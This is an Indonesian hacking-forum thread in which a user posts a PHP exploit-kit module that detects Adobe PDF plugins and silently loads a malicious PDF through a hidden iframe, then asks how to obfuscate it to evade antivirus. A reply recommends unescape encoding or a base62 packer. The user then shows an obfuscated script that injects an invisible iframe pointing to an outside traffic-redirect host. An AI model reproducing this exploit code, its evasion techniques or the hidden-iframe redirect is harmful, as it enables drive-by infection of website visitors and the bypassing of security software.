[Ask] Encrypt php - Undetected

[A25414N]

numpang nanya bro,, ada cara lain ga buat enkrip php (exploit) biar ga ketect antivirus.. misal scriptnya seperti ini :

Code:

<?php

$expname = "pdf";
$exploits[] = "
function pdf(){
    var isInstalled = false;
    if (navigator.plugins && navigator.plugins.length){
        for (var x = 0; x < navigator.plugins.length; x++){
            if (navigator.plugins[x].description.indexOf('Adobe Acrobat')!= -1){
                isInstalled = true;
                break;
            }
            if (navigator.plugins[x].description.indexOf('Adobe PDF')!= -1){
                isInstalled = true;
                break;
            }
        }
    } else if (window.ActiveXObject){
        var control = null;
        try {
            control = new ActiveXObject('AcroPDF.PDF');
        } catch (e) {}
        if (!control){
            try {
                control = new ActiveXObject('PDF.PdfCtrl');
            } catch (e) {}
        }
        if (control){
            isInstalled = true;
        }
    }
    if (isInstalled){
        var ua = navigator.userAgent.toLowerCase();
        if (ua.indexOf(\"firefox\") != -1){
            var pdfelement = document.createElement('embed');
            document.body.appendChild(pdfelement);
            pdfelement.width = '1';
            pdfelement.height = '1';
            pdfelement.src = './pdf.php';
            pdfelement.type = 'application/pdf';
        } else {
            var pdfelement = document.createElement('iframe');
            pdfelement.setAttribute('src', './pdf.php');
            pdfelement.setAttribute('width', 200);
            pdfelement.setAttribute('height', 200);
            pdfelement.setAttribute('style', 'display:none;');
            document.body.appendChild(pdfelement);
        }
        setTimeout(\"" . ($config['AjaxCheckBeforeExploit'] ? "if (CheckIP()){ Complete(); } else { %NextExploit% }" : "%NextExploit%") . "\", 2000);
    } else {
        %NextExploit%
    }
}
";


?>

Mohon pencerahannya..

makasih

[imnoob]

ada brooo..

[ditatompel]

(02-28-2012 03:54 AM)A25414N Wrote:  numpang nanya bro,, ada cara lain ga buat enkrip php (exploit) biar ga ketect antivirus.. misal scriptnya seperti ini :

Code:

<?php

$expname = "pdf";
$exploits[] = "
function pdf(){
    var isInstalled = false;
    if (navigator.plugins && navigator.plugins.length){
        for (var x = 0; x < navigator.plugins.length; x++){
            if (navigator.plugins[x].description.indexOf('Adobe Acrobat')!= -1){
                isInstalled = true;
                break;
            }
            if (navigator.plugins[x].description.indexOf('Adobe PDF')!= -1){
                isInstalled = true;
                break;
            }
        }
    } else if (window.ActiveXObject){
        var control = null;
        try {
            control = new ActiveXObject('AcroPDF.PDF');
        } catch (e) {}
        if (!control){
            try {
                control = new ActiveXObject('PDF.PdfCtrl');
            } catch (e) {}
        }
        if (control){
            isInstalled = true;
        }
    }
    if (isInstalled){
        var ua = navigator.userAgent.toLowerCase();
        if (ua.indexOf(\"firefox\") != -1){
            var pdfelement = document.createElement('embed');
            document.body.appendChild(pdfelement);
            pdfelement.width = '1';
            pdfelement.height = '1';
            pdfelement.src = './pdf.php';
            pdfelement.type = 'application/pdf';
        } else {
            var pdfelement = document.createElement('iframe');
            pdfelement.setAttribute('src', './pdf.php');
            pdfelement.setAttribute('width', 200);
            pdfelement.setAttribute('height', 200);
            pdfelement.setAttribute('style', 'display:none;');
            document.body.appendChild(pdfelement);
        }
        setTimeout(\"" . ($config['AjaxCheckBeforeExploit'] ? "if (CheckIP()){ Complete(); } else { %NextExploit% }" : "%NextExploit%") . "\", 2000);
    } else {
        %NextExploit%
    }
}
";


?>

Mohon pencerahannya..

makasih

Wew.. itu exploit sebenernya javascript ya om? Klo javascript mo dienkrip gimana pun tetep aja masuknya clientside.. CMIIW
Tapi coba aja om jsnya pake unescape / di ppack pake base62 packer

[A25414N]

(02-28-2012 07:46 AM)ditatompel Wrote:  Wew.. itu exploit sebenernya javascript ya om? Klo javascript mo dienkrip gimana pun tetep aja masuknya clientside.. CMIIW
Tapi coba aja om jsnya pake unescape / di ppack pake base62 packer

outputnya yg seperti ini bukan :

Code:

<script>document.write(unescape('%3C')+unescape('% 69%66%72')+unescape('%61%6D%65')+unescape('%20')+u nescape('%73%72')+unescape('%63')+unescape('%3D%22 %68')+unescape('%74%74%70')+unescape('%3A%2F%2F')+ unescape('%63%63%63%70')+unescape('%2E')+unescape( '%75%73%2E%6C')+unescape('%61%69')+unescape('%66') +unescape('%75')+unescape('%65')+unescape('%72%2E' )+unescape('%63%6E%2F%74')+unescape('%72')+unescap e('%61%66%66%2F')+unescape('%67%6F')+unescape('%2E %70%68')+unescape('%70')+unescape('%3F')+unescape( '%73%69')+unescape('%64%3D')+unescape('%32%22%20%7 7')+unescape('%69%64%74')+unescape('%68%3D')+unesc ape('%22%30')+unescape('%22%20%68')+unescape('%65% 69%67')+unescape('%68%74%3D%22')+unescape('%30')+u nescape('%22')+unescape('%20')+unescape('%66%72%61 ')+unescape('%6D%65')+unescape('%62%6F%72%64')+une scape('%65')+unescape('%72')+unescape('%3D%22%30%2 2')+unescape('%3E%3C')+unescape('%2F%69')+unescape ('%66%72%61%6D%65%3E')+'');</script>